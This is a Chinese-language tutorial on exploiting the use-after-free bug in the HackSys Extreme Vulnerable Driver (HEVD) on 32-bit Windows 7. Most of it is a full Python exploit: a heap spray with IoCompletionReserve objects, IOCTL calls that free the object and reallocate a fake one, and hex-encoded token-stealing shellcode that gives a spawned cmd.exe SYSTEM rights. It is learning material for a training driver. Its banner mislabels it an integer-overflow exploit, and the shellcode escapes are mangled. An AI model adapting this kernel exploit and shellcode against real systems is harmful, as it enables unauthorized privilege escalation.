原創: raycp 合天智匯

內核雙機調試環境搭建的教程在網上有很多,值得一提的是mac下通過虛擬機也可以實現雙機調試,這次要分析的文章是內核漏洞中的UAF漏洞。在這裡主要是通過HEVD這個項目來了解內核漏洞的原理以及利用方式。

需要指出的是,我這裡的調試環境是,調試機是win764位,被調試機是win732位。UAF漏洞UAF漏洞原理在網上也可以找到很多講解的文章,具體的原理不再講解。大致原理是:申請出一個堆塊保存在一個指針中,在釋放後,沒有將該指針清空,形成了一個懸掛指針(danglingpointer),而後再申請出堆塊時會將剛剛釋放出的堆塊申請出來,並複寫其內容,而懸掛指針此時仍然可以使用,使得出現了不可控的情況。攻擊者一般利用該漏洞進行函數指針的控制,從而劫持程序執行流。

漏洞利用的過程可以分為以下4步:

  1. 申請堆塊,保存指針。
  2. 釋放堆塊,形成懸掛指針。
  3. 再次申請堆塊,填充惡意數據。
  4. 使用懸掛指針,實現惡意目的。

下面我們去HEVD項目中具體看如何體現。

申請堆塊首先是0x222013驅動號對應的分配USE_AFTER_FREE結構體的函數,該結構體的定義是 typedef struct _USE_AFTER_FREE { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE, *PUSE_AFTER_FREE; 可以看到裡面有個函數指針,以及後面有個0x54大小的字元串。分配UAF對象函數的關鍵代碼如下: UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,

sizeof(USE_AFTER_FREE),

(ULONG)POOL_TAG); //申請堆塊 …… // Fill the buffer with ASCII A RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41); // Null terminate the char buffer UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = ;

// Set the object Callback function UseAfterFree->Callback = &UaFObjectCallback; //賦值函數指針 // Assign the address of UseAfterFree to a global variable g_UseAfterFreeObject = UseAfterFree; //保存全局指針 可以看到首先調用ExAllocatePoolWithTag申請出PUSE_AFTER_FREE結構體,並將該結構體的函數指針賦值為一個UaFObjectCallback函數地址。並在最後一行代碼里,將申請出來的堆塊保存在全局指針中。釋放堆塊直接看到0x22201B驅動號對應的釋放堆塊的FreeUaFObjectIoctlHandler函數。關鍵代碼及注釋如下:

if (g_UseAfterFreeObject) {

DbgPrint("[+] Freeing UaF Object
"); DbgPrint("[+] Pool Tag: %s
", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p
", g_UseAfterFreeObject); #ifdef SECURE // Secure Note: This is secure because the developer is setting // g_UseAfterFreeObject to NULL once the Pool chunk is being freed ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

g_UseAfterFreeObject = NULL; //可以看到在安全的版本中,將全局指針清空了

#else // Vulnerability Note: This is a vanilla Use After Free vulnerability // because the developer is not setting g_UseAfterFreeObject to NULL. // Hence, g_UseAfterFreeObject still holds the reference to stale pointer // (dangling pointer) ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); //而在有漏洞的版本中並沒有將全局指針清空,導致形成懸掛指針 #endif

漏洞即存在該函數當中,HEVD函數里有安全和漏洞兩個版本的選項,通過源代碼可以很明顯的看到在安全的版本中,釋放掉堆塊後,有將全局指針清空的操作,而在漏洞的版本中並沒有清空指針的操作,從而形成了懸掛指針,導致了漏洞的形成。

再次申請堆塊再次申請堆塊對應的是0x22201F驅動號對應的AllocateFakeObjectIoctlHandler函數,該函數中申請出一個與USE_AFTER_FREE同樣大小的FAKE_OBJECT結構體。 typedef struct _FAKE_OBJECT { CHAR Buffer[0x58]; } FAKE_OBJECT, *PFAKE_OBJECT; 關鍵源代碼及注釋如下: // Allocate Pool chunk

KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,

sizeof(FAKE_OBJECT), (ULONG)POOL_TAG); //申請結構體 …… // Copy the Fake structure to Pool chunk RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT)); //將用戶輸入拷貝至結構體 可以看到再次申請的這個FAKE結構體與前面的區別在於沒有前面4位元組的函數指針。這裡的攻擊場景可以理解為,再次申請出來的FAKE結構體與之前的結構體是同一塊內存,在最後將用戶輸入拷貝到結構體的時候就會覆蓋結構體裡面的函數指針,指向攻擊者shellcode的位置。

使用懸掛指針

在上一步中,我們已經做到了FAKE結構體和USE_AFTER_FREE指向同一塊內存,同時使用用戶輸入覆蓋了該結構體的函數指針,因此再次使用函數指針時,會導致控制流的劫持,驅動號0x222017對應的UseUaFObjectIoctlHandler函數關鍵源代碼如下: if (g_UseAfterFreeObject) { DbgPrint("[+] Using UaF Object
"); DbgPrint("[+] g_UseAfterFreeObject: 0x%p
", g_UseAfterFreeObject); DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p
", g_UseAfterFreeObject->Callback); DbgPrint("[+] Calling Callback
"); if (g_UseAfterFreeObject->Callback) { g_UseAfterFreeObject->Callback(); //該地址由攻擊者控制。

}

Status = STATUS_SUCCESS; } 編寫EXP上一部分通過源代碼介紹了漏洞的大致利用過程,這一部分,主要是具體exp的編寫,以及實際要解決的一個問題。需要解決的問題在這裡需要解決的一個問題就是,在我們第二步釋放堆塊的時候,該結構體有可能會和前面已經釋放的堆塊合併,如果合併的話,在我們再次申請的時候申請的時候,分配出來的堆塊將不再是同一塊內存,導致覆蓋函數指針失敗。如何解決該問題,有一篇論文寫的很好,要詳細了解可以去看看,最後解決的方案大致意思是如下:Windows系統中有個叫IoCompletionReserve的對象大小為0x60,可以通過NtAllocateReserveObject申請出來,需要做的是1.首先申請0x10000個該對象並將指針保存下來;2.然後再申請0x5000個對象,將指針保存下來;3.第二步中的0x5000個對象,每隔一個對象釋放一個對象;第一步的操作是將現有的空餘堆塊都申請出來,第二步中申請出來的堆塊應該都是連續的,通過第三步的操作,使得我們申請UAE_AFTER_FREE結構體其前面的堆塊應該不是空閑的,因此在釋放的時候不會合併,從而再分配的時候出現意外的可能性基本為0。下面是具體exp的代碼,是python編寫的。首先第一步是申請IoCompletionReserve對象並釋放,以此來控制好堆塊布局的代碼。 def heap_spray(): spray1 = [] spray2 = [] for i in range(0,0x10000): spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000): spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000,2): CloseHandle(spray2[i]) 接下來是申請UESAFTERFREE堆塊 def alloc(hDevice,dwIoControlCode): """alloc USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) 再接著是釋放該堆塊 def delete(hDevice,dwIoControlCode): """delete USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) 緊接著是申請出FAKE結構體,使用shellcode地址填寫前四位元組,shellcode使用的是提權shellcode,具體原理可以在網上尋找。 def alloc_fake(hDevice,dwIoControlCode): evilbuf = create_string_buffer(struct.pack("<I", scAddr)+"A"*0x54) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) 最後是調用使用該懸掛指針 def use(hDevice,dwIoControlCode): evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = None lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) 完整的exp代碼如下: from ctypes import * from ctypes.wintypes import * import sys, struct, time # Define constants CREATE_NEW_CONSOLE = 0x00000010 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x00000003 FILE_ATTRIBUTE_NORMAL = 0x00000080 FILE_DEVICE_UNKNOWN = 0x00000022 FILE_ANY_ACCESS = 0x00000000 METHOD_NEITHER = 0x00000003 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 HANDLE = c_void_p LPTSTR = c_void_p LPBYTE = c_char_p # Define WinAPI shorthand CreateProcess = windll.kernel32.CreateProcessW # <-- Unicode version! VirtualAlloc = windll.kernel32.VirtualAlloc CreateFile = windll.kernel32.CreateFileW # <-- Unicode version! DeviceIoControl = windll.kernel32.DeviceIoControl NtAllocateReserveObject=windll.ntdll.NtAllocateReserveObject CloseHandle=windll.kernel32.CloseHandle class STARTUPINFO(Structure): """STARTUPINFO struct for CreateProcess API""" _fields_ = [("cb", DWORD), ("lpReserved", LPTSTR), ("lpDesktop", LPTSTR), ("lpTitle", LPTSTR), ("dwX", DWORD), ("dwY", DWORD), ("dwXSize", DWORD), ("dwYSize", DWORD), ("dwXCountChars", DWORD), ("dwYCountChars", DWORD), ("dwFillAttribute", DWORD), ("dwFlags", DWORD), ("wShowWindow", WORD), ("cbReserved2", WORD), ("lpReserved2", LPBYTE), ("hStdInput", HANDLE), ("hStdOutput", HANDLE), ("hStdError", HANDLE)] class PROCESS_INFORMATION(Structure): """PROCESS_INFORMATION struct for CreateProcess API""" _fields_ = [("hProcess", HANDLE), ("hThread", HANDLE), ("dwProcessId", DWORD), ("dwThreadId", DWORD)] def procreate(): """Spawn shell and return PID""" print "[*]Spawning shell..." lpApplicationName = u"c:\windows\system32\cmd.exe" # Unicode lpCommandLine = u"c:\windows\system32\cmd.exe" # Unicode lpProcessAttributes = None lpThreadAttributes = None bInheritHandles = 0 dwCreationFlags = CREATE_NEW_CONSOLE lpEnvironment = None lpCurrentDirectory = None lpStartupInfo = STARTUPINFO() lpStartupInfo.cb = sizeof(lpStartupInfo) lpProcessInformation = PROCESS_INFORMATION() ret = CreateProcess(lpApplicationName, # _In_opt_ LPCTSTR lpCommandLine, # _Inout_opt_ LPTSTR lpProcessAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES bInheritHandles, # _In_ BOOL dwCreationFlags, # _In_ DWORD lpEnvironment, # _In_opt_ LPVOID lpCurrentDirectory, # _In_opt_ LPCTSTR byref(lpStartupInfo), # _In_ LPSTARTUPINFO byref(lpProcessInformation)) # _Out_ LPPROCESS_INFORMATION if not ret: print " [-]Error spawning shell: " + FormatError() sys.exit(-1) time.sleep(1) # Make sure cmd.exe spawns fully before shellcode executes print " [+]Spawned with PID: %d" % lpProcessInformation.dwProcessId return lpProcessInformation.dwProcessId def gethandle(): """Open handle to driver and return it""" print "[*]Getting device handle..." lpFileName = u"\\.\HacksysExtremeVulnerableDriver" dwDesiredAccess = GENERIC_READ | GENERIC_WRITE dwShareMode = 0 lpSecurityAttributes = None dwCreationDisposition = OPEN_EXISTING dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL hTemplateFile = None handle = CreateFile(lpFileName, # _In_ LPCTSTR dwDesiredAccess, # _In_ DWORD dwShareMode, # _In_ DWORD lpSecurityAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES dwCreationDisposition, # _In_ DWORD dwFlagsAndAttributes, # _In_ DWORD hTemplateFile) # _In_opt_ HANDLE if not handle or handle == -1: print " [-]Error getting device handle: " + FormatError() sys.exit(-1) print " [+]Got device handle: 0x%x" % handle return handle def ctl_code(function, devicetype = FILE_DEVICE_UNKNOWN, access = FILE_ANY_ACCESS, method = METHOD_NEITHER): """Recreate CTL_CODE macro to generate driver IOCTL""" return ((devicetype << 16) | (access << 14) | (function << 2) | method) def shellcode(pid): """Craft our shellcode and stick it in a buffer""" tokenstealing = ( #---[Setup] "x60" # pushad "x64xA1x24x01x00x00" # mov eax, fs:[KTHREAD_OFFSET] "x8Bx40x50" # mov eax, [eax + EPROCESS_OFFSET] "x89xC1" # mov ecx, eax (Current _EPROCESS structure) "x8Bx98xF8x00x00x00" # mov ebx, [eax + TOKEN_OFFSET] #-- find cmd process" "xBA"+ struct.pack("<I",pid) + #mov edx,pid(CMD) "x8Bx89xB8x00x00x00" # mov ecx, [ecx + FLINK_OFFSET] <-| "x81xe9xB8x00x00x00" # sub ecx, FLINK_OFFSET | "x39x91xB4x00x00x00" # cmp [ecx + PID_OFFSET], edx | "x75xED" # jnz #---[Copy System PID token] "xBAx04x00x00x00" # mov edx, 4 (SYSTEM PID) "x8Bx80xB8x00x00x00" # mov eax, [eax + FLINK_OFFSET] <-| "x2DxB8x00x00x00" # sub eax, FLINK_OFFSET | "x39x90xB4x00x00x00" # cmp [eax + PID_OFFSET], edx | "x75xED" # jnz ->| "x8Bx90xF8x00x00x00" # mov edx, [eax + TOKEN_OFFSET] "x89x91xF8x00x00x00" # mov [ecx + TOKEN_OFFSET], edx #---[Recover] "x61" # popad "x31xC0" # NTSTATUS -> STATUS_SUCCESS #"x83xc4x14" # add esp,0x14 #"x5d" #pop ebp "xC2x00x00" # ret 8 "" ) # ret print "[*]Allocating buffer for shellcode..." lpAddress = None dwSize = len(tokenstealing) flAllocationType = (MEM_COMMIT | MEM_RESERVE) flProtect = PAGE_EXECUTE_READWRITE addr = VirtualAlloc(lpAddress, # _In_opt_ LPVOID dwSize, # _In_ SIZE_T flAllocationType, # _In_ DWORD flProtect) # _In_ DWORD if not addr: print " [-]Error allocating shellcode: " + FormatError() sys.exit(-1) print " [+]Shellcode buffer allocated at: 0x%x" % addr # put de shellcode in de buffer and shake it all up memmove(addr, tokenstealing, len(tokenstealing)) return addr def heap_spray(): spray1 = [] spray2 = [] for i in range(0,0x10000): spray1.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000): spray2.append(NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in range(0,0x5000,2): CloseHandle(spray2[i]) def alloc(hDevice,dwIoControlCode): """alloc USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def delete(hDevice,dwIoControlCode): """delete USEAFTERFREE struct""" evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def alloc_fake(hDevice,dwIoControlCode,scAddr): evilbuf = create_string_buffer(struct.pack("<I", scAddr)+"A"*0x54) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def use(hDevice,dwIoControlCode): evilbuf = create_string_buffer("A"*0x58) lpInBuffer = addressof(evilbuf) nInBufferSize = 0xffffffff lpOutBuffer = None nOutBufferSize = 0 lpBytesReturned = byref(c_ulong()) lpOverlapped = None pwnd = DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped) def trigger(hDevice, scAddr): """Create evil buffer and send IOCTL""" heap_spray() alloc(hDevice,ctl_code(0x804)) delete(hDevice,ctl_code(0x806)) alloc_fake(hDevice,ctl_code(0x807),scAddr) use(hDevice,ctl_code(0x805)) if __name__ == "__main__": print "
**HackSys Extreme Vulnerable Driver**" print "***Integer overflow exploit***
" pid = procreate() trigger(gethandle(),shellcode(pid)) # ugly lol 最終獲得system許可權


推薦閱讀:
相关文章